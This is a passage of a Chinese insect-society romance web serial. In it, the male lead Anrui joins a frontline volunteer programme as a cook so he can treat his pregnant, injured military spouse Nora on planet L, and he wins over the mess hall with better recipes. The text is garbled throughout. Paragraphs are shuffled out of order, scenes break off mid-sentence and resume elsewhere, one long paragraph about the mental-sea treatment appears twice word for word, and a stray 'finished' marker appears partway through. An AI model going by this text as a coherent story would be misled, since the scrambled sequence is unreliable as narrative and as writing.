看军部的态度,前线情况应该还算乐观,但安瑞一点都不敢放松下来,毕竟战争胜利不代表着自家雌君能平安地回来。 没有消息的日子最是难熬,安瑞渐渐地需要靠安眠药才能入睡,和诺拉的消息页面每天也至少要刷几十次。 就这样又挨了将近一个月,一天晚上,安瑞刚刚哄睡小虫崽,智脑屏幕忽然弹出了一个语音通话申请。 申请虫上明晃晃写着两个大字——夏佐。 “医院已经建议了,我们也都劝了好几回,但诺拉不同意。”夏佐轻轻叹了口气,“好不容易怀上的,他怎么会同意引产。” 这只傻虫子。 安瑞又生气又心疼:“那……那现在就一点办法都没有了吗?” “也不是没有。”夏佐停顿了一下,犹豫道,“但是诺拉不让我跟你说,这次语音都是我背着他,冒着违反军纪的风险偷偷给你打的。” 安瑞气得跳脚:“你快说。” “很简单,你来L星球,亲自给诺拉做精神力舒缓。” 第七十章 L星球 私自进行语音通话违背军纪,所以夏佐又匆匆说了几句就挂断了语音。 安瑞擦了擦头上的冷汗,刚要回卧室,才发现自己的腿已经软得像两根面条。 医生、护士、物资运输员、厨师。 安瑞猛地停住了往后划的手,眼睛里露出了几分欣喜的神色。 就是他了。 安瑞风风火火点开报名链接,下一刻忽然愣住了。 页面上弹出来一行大字:抱歉,报名已经截止。 好像被一盆凉水从脑袋上泼下来,安瑞的心凉成了一片。 他咬咬牙,找到咨询的智脑号码拨过去,没想到对面居然接通了。 智脑对面传来一道温婉的声音:“您好,请问您有什么需要。” “我看到你们前几天发了志愿者招募,想问一下还能报名厨师吗?” “抱歉,报名已经截止了。” 安瑞咬了咬牙,祭出杀手锏:“你知道种花调料公司吗?” “啊?” “我是种花公司的董事长安瑞,如果您能破格让我做厨师志愿者,我可以让种花调料公司无偿为前线捐赠五千箱酱油,五千箱咖喱块。” “您您您您是雄虫!”温婉的男声秒变结巴尖叫鸡,“抱抱抱抱歉阁下,志愿者可能不招收雄子。” 安瑞眼珠一转,半开玩笑:“怎么,你们歧视雄虫?” “没有,我们,我们哪敢啊。”亚雌急得语速仿若开了1.5倍,“这也是出于您的安全考虑,毕竟L星球还在打仗,实在不安全,而且从首都星前往L星球需要三次空间跃迁,我怕您吃不消。” “可我看以前的战争,也有雄虫会去前线为军雌做精神力抚慰啊,他们都行,我怎么就不行。” “那……那都是两百年前的事了吧。”亚雌被安瑞忽悠得晕晕乎乎,“那……那我帮您问问领导吧,他干脆席地而坐,打开智脑,查询去L星球的飞船票。 刚把目的地填好,页面上就蹦出来一行字: ——抱歉,因战时临时管控,暂时没有相关航班。 安瑞眉头紧锁,关上订票APP打开虫网,飞快地戳字搜索去L星球的其他方式。 在浏览了好几页无关消息后,安瑞突然看到了一条来自军部官方账号的推送:《卫国有我,前线志愿者报名即将开启》。 安瑞眼神一亮,打开推送,直接划到招募岗位。 我可不敢保证一定能成,我待会给您的智脑发一条报名问卷链接,您记得填写。” 安瑞把问卷填好,扶着墙一步一步走回房间。 他平躺在床上,闭目养神试图快点入睡,却怎么样也睡不着。 脑子里乱乱的,一会儿担心诺拉会不会出事,一会儿又害怕那一万箱调料打动不了军部领导的心。 实在不行,只有找夏洛了。 他好歹也是亚当斯家族的雌子,路子多,说不定有办法把他送到L星球。 各种各样的念头交织在安瑞脑海里,他都不知道自己是什么时候睡着的,甚至梦里还梦到他乘坐私家飞船去L星,被沿途的空间站发现,遣送回首都星。 空间站军雌的警棍伴随着闹铃一起刺破黎明,安瑞睁开眼,醒了一会儿神,刚打开智脑,页面上就单出来一条消息。 【安瑞阁下:恭喜您成功入选卫国有我志愿计划,请您于明天早上8:00在首都东空间站等集合,感谢您对帝国的大力贡献】 安瑞激动地眼泪都快掉下来了,原本是死马当活马医,谁承想居然真的成了。 他飞快地换好衣服,拨通了维加的语音。 “阁下日安?”智脑里传来中年雌虫的声音,“您昨天嘱咐抽调五千箱酱油和咖喱,我已经布置 * 翌日早上八点,安瑞准时来到空间站集合。 他刚从共享星舰上走下来,立刻就被二百多道视线黏住了。 不过好在,安瑞已经适应了虫族这种狂热的目光,他不慌不忙从星舰上走下来,冲早来的志愿者微笑着点点头,找到写着厨师志愿者的牌子。 还没等安瑞站好,一道黑影忽然冲着他冲了过来,又在他面前生生刹住了车。 “阁下!” 安瑞愣了一下才反应过来:“艾伦?” “我之前就在名单里看到您了,还以为是重名的,没想到真是您。”艾伦站得笔直,咧着嘴向安瑞行了个军礼,“我是这次军部派来的志愿者领队,您有什么事吩咐我就行。” 安瑞也很差异:“你不是怀上虫蛋了吗,怎么还出任务啊。” “虫蛋前两天已经生了。”艾伦毫不在意,“我就想趁这个机会去前线,毕竟我是诺拉中将的副官啊,哪能把中将自己留在前线。” 虫族和人类不同,从怀蛋到生蛋只需要半年,但是虫蛋生出来之后还需要在孵化箱里放上三个月到半年不等,才会破壳。 饶是早就知道了雌虫身体素质之强悍,安瑞还是忍不住在心里默默为艾伦点了个赞。 生产完三天就上战场,是个狠虫。 要是诺拉也能这么顺利就好了。 安瑞有些焦急地看了看军部准备的飞船:“咱们什么时候出发?” “呦,阁下这么迫不及待啊。”艾伦笑着开了个玩笑,看了眼时间,“再过五分钟,等虫皇过来开个简短的动员会,咱们就动身。” “虫皇?”安瑞看看左右这二三百个志愿者,“虫皇居然还要来?” 下去了,最晚后天能准备好,您放心。” “辛苦了。”安瑞柔声安慰一句,“我今天给您打电话,是想麻烦您一件事,诺拉在前线出事了,我必须去一趟,想请您帮忙照顾一下艾米。” 当天晚上,安瑞亲自带着艾米来到了维加的新家。 艾米抱着煤球,刚进门就和伊莱闹在了一处。 安瑞把艾米的行礼放进去,也有些抱歉地笑笑:“维加哥哥,真不好意思,这么突然地打搅您。” “您太客气了。”维加撇了眼虫崽,压低声音问,“诺拉出什么事了?” “精神力受损,我得去帮他。” 安瑞勉强克制住因为焦虑导致的过度倾诉欲,简单把诺拉的情况和维加说了两句。 中年雌虫的眼睛里露出几分艳羡和感慨:“你们感情真好,诺拉能遇见阁下,是他的福气。回到祖星的上将,也能瞑目了。” 安瑞浅笑着摇了摇头:“能遇见诺拉,也是我的福气。” 艾伦脸上也颇为不解:“对啊,以前军部也没少招过志愿者,但动员会最多也就是来个中将,这回也不知道怎么了。” 安瑞按捺着内心的激动,转身向飞船冲过去,就在他已经一只脚踏上台阶的时候,肩膀被拍了拍。 他压着不耐烦回头,才发现不知道什么时候,虫皇已经站在了他的身后。 “安瑞阁下,好久不见。” 安瑞只好撤回那只脚,冲虫皇微微躬身:“陛下日安。” “没想到阁下会在志愿者报名截止之后,还强烈要求去前线。”虫皇忽然俯身,在安瑞耳边揶揄道,“是为了那个机甲大赛得冠军的小子吧。” 安瑞心里咯噔一声,勉强笑笑:“您这话是什么意思,我怎么听不懂。” “没什么,只是忽然想到了一位昔日故友,他也是如此疼爱自己的雌君。”虫皇笑了几声,拍拍安瑞的肩膀,“去吧,前线需要你。” * 安瑞被虫皇的话搞得一头雾水,直到坐上了星舰还没有完全搞明白他的意思。 现在能确定的是,虫皇应该是知道了他去前线是为了诺拉,甚至他能再逾期报名的情况下以雄虫的身份被挑选为志愿者,说不定都是虫皇暗中帮忙。 可是他想不明吧,虫皇为什么要帮他。 总不能真是被他和诺拉的爱情感动了吧。 除此之外,诺拉就是一个小小的中将,军部的中层领导,虫皇能注意到诺拉受伤的情况,本身也非常不合理。 话音未落,一艘带有皇室标志的星舰已经缓缓降落在了空间站门口的空地上,满头银发的虫皇在护卫的簇拥下从星舰上走下来:“各位早上好。” 这是安瑞第二次见到虫族的这位最高领袖,只不过上次是在军部看台匆匆一面,而这回则要距离近得多。 从眼角的皱纹可以看出,虫皇的年龄已经非常大了,不过他依旧双目有神,身姿挺拔,唇边还挂着一分和蔼的微笑。 “陛下安。” 安瑞随大流鞠了个躬,在忍受了长达五分钟的演讲之后,随着虫皇的一声“出发吧勇士们”,军部飞船的大门终于缓缓开启。 饶是一肚子疑惑,但安瑞也没时间细想,毕竟救诺拉最重要。 飞船经过了大半天的平稳飞行之后,来到了第一个空间跃迁点,至此安瑞才明白,为什么之前那个接电话的亚雌说空间跃迁不适合雄虫。 这玩意儿简直比最刺激的过山车还要刺激好吗。 在穿过跃迁点的那一次,安瑞只觉得自己的身体生生被撕裂成了两半,一半过来了,还有一半留在原来的跃迁点。 五脏六腑也跟着剧烈地翻腾,幸好在艾伦的提醒下跃迁前三个小时安瑞都没吃东西,要不然他这回铁定得吐一飞船。 最关键的是,去往L星球需要经历三次跃迁,每次都是安瑞刚觉得稍微恢复了体力,就又要被折腾一次。 幸亏安瑞经常抽空健身,要不然还真熬不下来。 看着飞船上其他雌虫谈笑风生,云淡风轻的样子,安瑞深深叹了口气。 没办法,性别这玩意儿是硬伤。 终于,在经历了五天昏天黑地的飞行后,他们终于降落在了L星球后方基地。 艾伦把他们安置到简易房屋中,给了他们半天时间休息整顿。 安瑞根本顾不得休息,把行李一放就冲向了临时医院。 “您好,我是诺拉的家属,想问一下诺拉中将在哪个病房?” 第七十一章 重逢 门口值班的军医眼睛都直了:“安……安安,啊不不好意思,阁下日安。” 军医很快就发现了安瑞脸色不对,赶紧往旁边挪了挪 ,挡住安瑞的视线:“抱歉阁下,一楼和二楼是外伤区,可能味道比较难闻,诺拉中将在五楼待产区,您跟我这边走。” 安瑞笑着点头,试探着问:“前线情况还乐观吧?” “挺好的,虽然蜥蜴人又集结四十万军队反扑了三次,但是都被咱们挡回去了,蜥蜴人损失惨重,已经停战了。” 安瑞微微松了口气,更详细的军情却也不敢再多问了。 他一路跟着军医来到五楼,刚出电梯就看到了好几只小腹微微隆起的军雌在走廊里遛弯。 身边的军医贴心地解释:“军雌怀孕二十周以上,就会被从前线撤下来安置在这里备产。” 安瑞忍不住问:“那产下虫蛋之后呢?” “虫蛋会由军部负责运回首都星,军雌休息三天之后归队。” 军医的声音里带着司空见惯的云淡风轻,安瑞鼻梁却有些发酸。 所以七年前,诺拉的雌兄是不是也在这种环境里生下了艾米,休息了三天就重回战场,然后永远长眠在了边境,甚至连虫崽都来不及看一眼。 “阁下?” 军医的声音打断了安瑞的思绪,他赶紧调整了一下情绪,跟着军医来到了诺拉的房间。 大门紧紧关着,军医敲了几下,过了半天,里面才传来一声沙哑的“请进”。 是诺拉的声音。 安瑞再也忍不住了,上前一步推开了房门。 逼仄的病房里只有一张窄窄的简易病床,诺拉半躺在床上,脸已经瘦成出了尖下颌,原本锋利的薄唇白的几乎没有血色,宽松的病号服晃荡着挂在身上,更显出雌虫的消瘦。挂着点滴的左手青筋暴露,上面是密密麻麻的针眼。 安瑞快速点了一头,焦急道:“诺拉中将在医院里吗?” “啊在的,您跟我来。” 刚进临时医院,安瑞就被浓重的血腥味熏得打了个喷嚏。 或许是因为伤员太多,连走廊里都躺了不少缺胳膊断腿的军雌,安瑞只看了两眼,脸色都有些发白。 他也不是没看过军旅题材的电影和电视剧,但跟这所临时医院相比,那些电影电视剧拍的实在是太假了。 这还只是后方基地的医院,安瑞甚至不敢想,前线会有多么惨烈。 门一开,床上的军雌下意识地看向门口。安瑞这才发现,那双原本像蓝宝石一样漂亮的眼睛,竟然也蒙上了一层死一般的灰雾 只一眼,安瑞的眼睛就不由自主的红了,两行清泪顺着脸颊滚滚而下。 三个月。 “你别忙活了。”安瑞使劲按住诺拉的手,“我报名了军部的志愿者,你赶不走我。” 诺拉瞪大了眼睛,要不是左手还打着点滴,恨不得要从床上蹦起来。 “您怎么能这么胡闹呢,这里是战场,多危险啊,您怎么会还能报名志愿者。” “你还直到担心我。”安瑞气得咬牙,“是谁天天在这报喜不报忧,要不是夏佐偷偷给我打语音,我都不知道你出了这么大事。你要是有个三长两短,你让我怎么办。” 安瑞越说越激动,声音都调高了几度。他从床上站起来,一双黑色的眸子紧紧盯着床上的军雌:“诺拉,你让我怎么办!” 安瑞从来都是一副温温柔柔的样子,诺拉还是第一次看到自家雄主生气。他正愣了几秒,低下头,轻轻拽住安瑞的袖子,把额头抵在安瑞的手上:“对不起,雄主,是我太自私了,但是诺拉……诺拉不愿意您冒险。” “不愿意我冒险,那为什么不听医生的话把虫蛋拿掉。” 一滴泪顺着眼角缓缓滑落,诺拉吸了吸鼻子,哽咽道:“雄主,这是我们的崽,我甚至能感觉到他在动,您让我怎么忍心……” 安瑞心里的火气一下就被浇灭了。他坐在床边,把自家雌君揽在怀里,吻上了诺拉脸边的泪痕:“下次不许了,听到没有?” 诺拉把脑袋埋进安瑞怀里,使劲点头。 负责待产区的军医被叫到病房的时候,整只虫都是懵的。 救命,这里为什么会有一只雄虫啊。 还没等他反应过来,安瑞已经从床边站了起来,几步走过来:“您好,我是诺拉中将的雄主,我听说他精神力受损,想问一下您我该怎么为他做精神力舒缓。” 军医缓了好半天才勉强找回自己的声音:“就是正常做就行,不过要注意体位,尽量不要压着中将的肚子。” 安瑞一言难尽地看着白发苍苍,年龄足以做自己爷爷的亚雌军医:“……就没有什么其他的方法了吗,比如单纯的精神力舒缓?” 亚雌军医从智脑里调出诺拉的病例看了两眼:“中将的精神海重度损伤,精神力舒缓是可以的,但是虫蛋也在汲取精神力,所以阁下最好双管齐下。” 才不到三个月。 他的诺拉怎么就变成了这样。 安瑞的心好像被使劲攥了一把,拧着劲的疼,嘴唇哆哆嗦嗦,激动地连一句话都说不出来。 军医很有眼色地从房间退了出去,还贴心地关上了门,给他们留出了一个相对私密的空间。 安瑞一步一步走到床边,指尖颤抖地触上诺拉的侧脸:“疼不疼?” “雄主?” 直到被安瑞的指尖碰到的那一刻,诺拉才反应过来面前的虫:“您……您怎么来了?” 还没等安瑞说话,诺拉已经开始用没打点滴的右手把安瑞往外推:“这里危险,您快回去……” 他一边说,一边又慌慌张张找智脑:“肯定是夏佐,我这就给他打电话,让他安排飞船把您送回去。” 神TM双管齐下。 安瑞把军医送走,坐回到床边,熟练地让诺拉枕在自己的大腿上,略带些凉意的手轻轻覆在了军雌的眼睛上:“乖,闭眼。” 诺拉听话地闭上眼睛,在独属于自家雄主的青草香味中,很快放松了精神。 安瑞伸出精神力丝线,缓缓进入军雌的精神海,刚一进去,他就感觉到了不对劲。 原本健康的精神海又一次变得了无生意,精神力丝线杂乱无章地团在了一起,边缘末梢处隐隐有被灼烧的痕迹,甚至还不是出现两个火花。 这得多疼啊。 虽然这次精神海的问题没有那次精神力暴乱严重,但安瑞能感觉到诺拉的精神力在迅速流失。 如果不赶紧治疗,恐怕他都撑不到生产的那天。 才悄无声息地退出病房。 * 安瑞被分配到了东区食堂,他赶到炊事班报道的时候,正好赶上军部做晚饭。 几十只炊事班的军雌正忙活得热火朝天,其间还夹杂着好几个带着志愿者红袖箍的厨师志愿者。 虽说艾伦当时通知了给半天假,但志愿者都不愿意闲着,简单收拾了一下就来帮忙了。 “大家都麻利点,千万别耽误开饭时间。”唯一一个肩膀上有红色星星的军雌扯着嗓门,“菜都给我炖烂点,肉也是,煮不熟容易闹肚子,盐别不舍得放,多放将士们吃了才有劲。” “好嘞班长。” 后厨里响起此起彼伏的应和声,守在铁锅旁边的军雌端起一个能让艾米在里面洗澡那么大的盆,把满满一盆白菜裤衩一下就到进了一个大铁锅里,又死命往里倒了一整碗盐,然后拿着铁勺就开始搅拌。 旁边负责煎牛肉的军雌也不甘落后,切得方方正正的牛肉直接就往最高火力的平底锅上放。 后厨里顿时出现了一股糊巴味。 安瑞一下就想起来了几天前诺拉给他发的那张图。 原来炖变了色的白菜和黑乎乎的牛肉就是这么来的。 安瑞看着灶台边上翠绿色还挂着水珠的白菜,还有一块一块纹理清晰的牛腱子肉,深深扶额。 首都星那些餐馆做出来的饭,虽然味道不行但至少摆盘好看。 到了军部,连唯一一个优点都没了? 暴殄天物啊。 安瑞实在忍不了了,几步走到炊事班班长身边:“班长您好,我是首都星来的厨师志愿。” 安瑞克制住内心的愤怒和焦虑,小心翼翼地给诺拉做疏导。 幸好,之前他有过一次处理精神力暴乱的经验,一回生二回熟,这次处理起来还算得心应手。 安瑞小心地把每个结解开,安抚每一根蔫哒哒的精神力丝线,最后用自己的精神力在诺拉的精神海外围转了一圈。 不时劈啪作响的火花瞬间熄灭,只是边缘处的灼伤痕迹依旧清晰,恐怕还需要多进行几次精神力治疗。 安瑞收回精神力丝线,手指慢慢穿过诺拉的干枯的金发,轻轻按上诺上头部的穴位。 诺拉被安瑞弄得很舒服,再加上这一个月饱受精神力折磨,根本没能睡一个好觉,很快就在自家雄主的腿上睡熟了。 安瑞脸上露出了一抹浅浅的笑意,他小心地把诺拉移到枕头上,又安抚地揉了揉诺拉的金发,安瑞克制住内心的愤怒和焦虑,小心翼翼地给诺拉做疏导。 幸好,之前他有过一次处理精神力暴乱的经验,一回生二回熟,这次处理起来还算得心应手。 安瑞小心地把每个结解开,安抚每一根蔫哒哒的精神力丝线,最后用自己的精神力在诺拉的精神海外围转了一圈。 不时劈啪作响的火花瞬间熄灭,只是边缘处的灼伤痕迹依旧清晰,恐怕还需要多进行几次精神力治疗。 安瑞收回精神力丝线,手指慢慢穿过诺拉的干枯的金发,轻轻按上诺上头部的穴位。 诺拉被安瑞弄得很舒服,再加上这一个月饱受精神力折磨,根本没能睡一个好觉,很快就在自家雄主的腿上睡熟了。 安瑞脸上露出了一抹浅浅的笑意,他小心地把诺拉移到枕头上,又安抚地揉了揉诺拉的金发,班长忙活得一头汗,根本没空管安瑞,扯着嗓门:“你去帮着分营养液吧,点清楚了,一只军雌三管。” “班长,我有更好配菜菜谱,您要不要试试?” “别瞎指挥啊,让你干嘛就干嘛。”班长用粗壮的古铜色胳膊擦了擦汗,不耐烦地回头,然后就愣住了,“雄……雄虫?” 【完结】 第七十二章 改良菜谱 真·只可远观不可亵玩。 自从那个时候开始他们就已经非常有自知之明地打定了主意,只欣赏安瑞的盛世美颜,绝不去碰软钉子。 忽然,军雌里有虫尖叫了一声:“安安,是安安!” 安瑞还没反应过来,一只五大三粗的橙发军雌就挤到了最前面:“这位阁下是美食主播安安,你们都不知道吗?” 安瑞含笑点头:“您是?” “我,甜甜圈拌米饭。”橙发军雌激动地满脸通红,紧张地搓了搓手,“没想到能见着您。” 安瑞恍然:“我知道我知道,你居然是炊事班的?” 旁边的雌虫立刻起哄道:“哪啊,他是前两天不服从长官命令,被夏佐少将罚来炊事班的。” 后厨顿时爆发起一阵笑声,就连安瑞也忍不住莞尔,橙发雌虫急得跺脚:“什么叫罚,明明是老子右腿受伤了,少将才暂时让我来炊事班养病的好吧!” “行了,都吵什么,快去干活。” 炊事班班长说着冲橙发雌虫一招手:“昆西,过来,送阁下去招待所,给找个套间,别找标间,听见没。” 安瑞无语望天。 这是把他当做来镀金的大少爷了吗? 安瑞认真地看着班长,努力用最诚恳的语气道:“我真是来做志愿者的,而且我会做饭,您就让我试试吧?” 班长这一嗓门,整个后厨都沸腾了,那些没分配雄主的年轻军雌争先恐后地跑过来,把安瑞围在了中间,有些胆子大地试探着上前跟安瑞搭话,还有些胆子小的不敢往前靠,但一双眼睛也是死死地黏在安瑞身上。 雄虫哎。 这可是活的雄虫。 还是一只这么好看的,一看等级就不低的年轻雄虫哎。 分配了雄主的军雌虽然没有单身虫那么激动,但也站在外面叽叽喳喳议论个不停。 为数不多的几只比较淡定的虫还得数厨师志愿者,来L星球的路上他们就已经近距离目睹了几只自我感觉良好的雌虫给安瑞塞签名照,结果被安瑞顶回来的全过程,那叫一个彬彬有礼守身如玉。 昆西在一边帮腔:“对,班长,他真会做饭,安安可是美食博主,全网 4000多万粉丝呢。” “你少跟这起哄。” 趁着班长训昆西的功夫,安瑞突然走到灶台边,拿起了一把菜刀。 除了少数几只看过安瑞直播或者视频的虫,其他军雌顿时倒抽了一口冷气。 雄虫,菜刀。 光是把这两个放在一起,就已经是雄保协会要出动的程度了。 炊事班班长更是急得跺脚,又不敢直接上手去抢,只能来回来去摸自己的大光头。 安瑞拎着菜刀,不慌不忙走到案板边,拿起一个白菜,手起刀落,咔咔几下,白菜就被切成了大小均匀的小块。 炊事班班长和一众军雌全都看傻眼了。 炊事班班长一声吼,刚刚还围在安瑞身边嬉笑的雌虫顿时做鸟兽散,一眨眼的功夫就回到了自己的岗位上。 班长显然也没想到自己分配的志愿者里居然会有一只尊贵的雄子,为难地挠着锃明瓦亮的光头:“那个,阁下啊,后厨烟大,也没有什么休息的地方,别熏着您。要不我找虫送您去招待所吧?” “班长,您误会了,我是志愿者,我……” “明白。”班长一拍脑袋,尽量把声音放得柔和,“到时候长官来问,我肯定给阁下一份最高的评价。” 这真的是传说中四体不勤,五谷不分的雄虫吗? 这菜刀使的,比他们伙头兵都溜索啊。 与此同时,昆西为首的十几个安瑞粉丝脸上都露出了志得意满的微笑。 叫你们看不起我偶像,该。 安瑞微笑着看向炊事班班长:“长官,不知道我这样够不够格给咱们炊事班当志愿者啊。” 安瑞熟练地翻炒了几下,等牛肉变色盛出备用,就着锅里的剩油下入白菜,又放了少许食盐和胡椒粉调味,最后把炒好的牛肉放进去,一块翻炒了几下,把菜盛到盘子里。 一盘白菜炒牛肉就做好了。 可惜没有酱油,也没有葱姜蒜,要不然能更好吃。 安瑞遗憾的在心里叹了口气。 雄虫一套动作行云流水,把旁边的炊事班班长看得直发愣。 虫神在上,这个世界上居然真的有会做饭的雄虫。 安瑞笑盈盈夹起一片牛肉递到炊事班班长嘴边:“长官,要不要尝尝?” 班长黝黑的脸微微一烫,囫囵着就把那片牛肉吞进了嘴里。 牛肉混合了白菜的清甜,咸香里带了几分恰到好处的辛辣。 居然挺好吃的? 班长不可置信地舔了舔嘴唇,眼睛里不由得流露出了几分意犹未尽的表情。 以昆西为首的十几个安瑞的粉丝早就忍不住了,扑上来抢过安瑞手里的菜盘,你一块我一块就把白菜炒牛肉瓜分了个干净。 “够,本来也够格,阁下能来我们炊事班是我们的荣幸。”炊事班班长讪讪地笑了,“我这不是怕您累着吗?” “长官,其实白菜和牛肉还有更好的烹饪方式,我做给您看看?” 班长为难地舔舔嘴唇,到底还是点了点头:“那您小心点。” 安瑞好像没看到班长脸上半信半疑的神色,随手拿起一块牛肉,切成一厘米厚的薄片,走到大铁锅旁边,倒油开火下牛肉,一气呵成。 只听刺啦一声,后厨里弥漫着一股牛肉的香味 炊事班班长站在旁边,一脸紧急集合,像拦又不敢拦,只能站在安瑞身边三步远,随时准备在出现危险的时候抱起雄虫跑路。 昆西一边舔盘一边感叹:“真他雌的好吃。” “都干什么呢,还有没有点规矩了。” 班长眼睛一瞪,昆西立刻撂下盘子跑回了自己原来的岗位上。 “大家都跟安瑞阁下学,今天晚上的配菜换成牛肉炒白菜。” * 晚饭时分,第一批轮岗吃饭的军雌已经在配菜窗口排起了大队。 “这都已经过饭点了,怎么还不放饭啊。” 军雌埋怨东区炊事班做饭难吃也不是一回两回了,要是往常,班长肯定会假装没听见,不过今天,他可是底气十足。 “各位,你们可别说我们炊事班不创新,今天就给你们上道新菜。” 话音刚落,满满几大盆白菜炒牛肉就被端到了配菜窗口,食堂里顿时充满了饭菜的香味。 刚刚还在扯着嗓子埋怨的军雌顿时闭了嘴。 “我艹,好香。” “这回炊事班煎的牛肉不错啊。” “不对,煎牛肉不可能这么香。” 不一会儿的功夫,不少排在前面的军雌已经打到菜了,一时之间,食堂里全是狼吞虎咽的声音。 排在后面的雌虫被馋得直流口水,伸长了脖子望着窗口,只恨自己刚刚为什么不跑得快一点。 炊事班班长一脸扬眉吐气地靠在墙边,志得意满地摸着自己的大光头。 他看谁以后还敢说东区食堂的配菜比不上西区食堂。 * “阁下,这回真是多亏您了。”班长用围裙擦着受,一张大嘴已经咧到了耳根子,“您是不知道,那些军雌晚饭吃得有多高兴。” 安瑞脸上依旧是浅浅的笑容:“种花调料公司给前线捐赠了咖喱和酱油,估计这两天就能到,到时候能做的菜就更多了。” “我真服了,还有二十分钟下一批次就该进来了。” “东区食堂的饭本来就贼难吃,现在不仅难吃,连开饭时间都不能保证了吗?” 就在不少军雌已经打算放弃配菜只吃营养液的时候,窗口的挡板终于撤下来了,炊事班班长站在窗口里扯着大嗓门:“不好意思各位,久等了,今天的配菜来了。” 队伍里军雌的抱怨并没有因为炊事班班长的出现而减少,反倒是愈演愈烈。 “天天就那老几样,烦都烦死了。” “就是,你看看西区食堂,一样的补给,他们怎么就能把牛肉煎得外焦里嫩呢。” “我到底什么时候才能轮换回西区食堂啊。 ” “哎,好。”班长乐得眼睛眯成了两条缝,给安瑞盛了满满一大碗菜,“那您早点休息,明天上午九点来后厨就行。” 反正早饭只有营养液,不需要做配菜。 安瑞看着比自己脸还大的铁盘里堆着的像小山一样的牛肉,颇为苦恼,最后还是决定端去和诺拉一起吃。 安瑞轻车熟路地找到诺拉的病房,轻轻打开房门。 第七十三章 诺拉牌汤圆 “乖乖,怎么了?” 安瑞试探着揉了揉诺拉的金发,声音又轻又柔。 诺拉满满睁开眼:“我……我刚睡醒,你就不见了。” 安瑞脑袋上冒出了三个硕大的问号,半天才弱弱地问:“所以我到底是走还是留?” 病床上,雌虫脸朝里侧躺着,肩膀不停地轻微抽动,好像是在哭。 安瑞眉心一跳。 之前听说诺拉怀孕,他在来的路上就在虫网上查了不少资料。 确实有帖子说一部分雌虫在怀蛋之后情绪不稳定,还会变得敏感黏虫,特别渴望雄虫的安抚。 安瑞把碗放在床头几步走过去,就看到诺拉紧紧闭着眼,额头上一双触角无力地耷拉着,脸上爬满了泪痕,手边还拽着一件熟悉的米白色衣服,上面画着一个可爱的粉色兔子。 是他找了很久都没找到的睡衣。 诺拉愣了两秒,低着头小声啜泣:“我 ……我不知道,对不起,但是我控制不住我自己。” 其实自从诺拉怀蛋开始,他就发现自己的情绪不太对劲,经常会莫名其妙地难过到流泪,还会疯狂地想念自己的雄主。 想念雄主的怀抱,想念雄主的声音,甚至想念雄主身上的气味。 战斗紧张的时候还好,忙起来就什么都不会想了。 可一旦闲下来,他又忍不住开始胡思乱想,情绪就像一艘刹车坏了的星舰,在他身体里横冲直撞,根本停不下来。 尤其是后来他精神力受损,被从战场上转移到基地医院之后,每天空闲时间一下多了,就更管不住自己的情绪。 他甚至不敢给安瑞发信息,生怕一个忍不住,就暴露了自己的情况。 唯一值得庆幸的是,临走的时候他偷偷拿了雄主的睡衣,实在想雄主想到不行了的时候,他就会把睡衣找出来,抱在怀里,假装雄主还在他身边。 声音里带着浓浓的鼻音,软绵绵糯叽叽的,听起来可怜极了。 安瑞赶紧坐到床边,把自家雌君抱在怀里,亲了亲他的侧脸,又把手伸进被子里揉了揉他的小腹:“乖乖,我错了,我不该走的,我不是志愿者吗,刚刚去帮炊事班做饭了。” 诺拉吸了吸鼻子,含着泪的眼睛一瞪:“对,前线危险,我都说了让您回去了,你怎么还不走。” 也幸好有这件睡衣,在其他虫面前,诺拉还能勉强控制住自己的情绪,假装自己是只坚强的雌虫。 可今天安瑞的出现成为了压倒他的最后一根稻草,脑袋里紧绷了一个月的弦彻底绷不住了,诺拉也不知道他自己在说些什么,只觉得脑子里乱乱的,特别想哭。 可能真的是被安瑞宠坏了,诺拉干脆自暴自弃地把脸埋进枕头里,哭得像个振动小马达,两只黑色的小触角也难过地垂在了两侧。 不就是怀个蛋吗,有什么可矫情的。 “谁规定雌虫就一定要强大到没有弱点。”安瑞轻轻戳了戳军雌消瘦的面庞,“再说了,我家中将在外面已经很强大,很冷静了,所以在家里,完全可以不那么强大,是不是?” “那……那您会讨厌我吗?” 诺拉也不知道自己是怎么了,一些平常问不出口的话居然就这么从嘴里说了出来。 话刚出口他就后悔了。 他害怕,害怕雄主的答案不是他想要的,更害怕雄主说些口是心非的话哄他。 “当然不会了。”漆黑的弯眸认真地看着诺拉,安瑞停顿了一下,忽然笑道,“更何况,我家宝贝像个汤圆一样,我怎么会不喜欢呢?” 诺拉迷茫地眨眨眼:“汤圆,什么是汤圆?” 安瑞凑到诺拉耳边:“就是那种糯叽叽的小圆球,外皮又弹又软,轻轻一咬,就会流出香甜的馅儿。” 诺拉的脸腾一下涨得通红。 明明雄主实在说甜品,可他就觉得臊得慌,两只触角也羞得拧在了一块。 “您……您……”诺拉吭哧了半天也没说出一句完整的话,自暴自弃地别过头,“您太过分了。” “这不是你主动问的吗,我又没说什么。”安瑞终于忍不住轻轻rua了一把软乎乎的触角,“好了好了,乖乖,乖乖不难受。”安瑞一边哄一边轻轻抚摸着雌虫干枯的长发,“现在停在了,基地很安全,我就在这哪也不去,就陪着我家小诺尔。” 诺拉哭了一会儿,后知后觉地发现好像有点丢虫。他红着脸,像个巨大号的毛毛虫一样一点一点蹭到安瑞的腿边,把下巴放在自家雄主腿上,闷闷地说:“对不起雄主,我……我是不是特别烦。” 安瑞俯下身,小心地避开那双容易害羞的触角,在诺拉额头上亲了几下:“别胡说。” “可是雌虫不该这样的。”诺拉抬起头,一双苍蓝色的眼睛里充满了纠结,“雌虫应该强大,冷静,克制……” “你看,QQ弹弹,又甜又糯,是不是,小汤圆?” 诺拉浑身像煮熟了的虾一样红了个彻底,拽起被子盖住了头。 雄主简直太过分了。 他决定和雄主冷战五分钟。 嗯,至少三分钟。 * “我艹,好香。” 欧文点点头:“我听说你们东区食堂的志愿者里有一位雄子,还是个美食主播。” “可不是,这两天东区食堂的新菜就是他研究的,可厉害了。” “你带我去找他。” 与此同时,安瑞正在后厨指导军雌做咖喱鸡肉,忽然肩膀就被拍了两下。 “阁下日安。” 安瑞愕然回头,就看见一只中年雌虫冲他行了个军礼:“自我介绍一下,我是第一军团的上将,欧文。” 第一军团上将,那不就是诺拉的顶头上司吗。 安瑞把手在围裙上擦了擦:“上将您好,我是安瑞。” 似乎是没想到雄虫的性格会这么好,欧文着实愣了一下,才有点不好意思地笑了笑:“我想请您去办公室聊聊,不知道您方不方便。” 如果是年轻军雌,安瑞肯定会拒绝,不过眼前这位上将年龄明显可以做自己的父亲了,安瑞倒是也不怕他对自己有什么其他的想法。 “那后厨这边?” 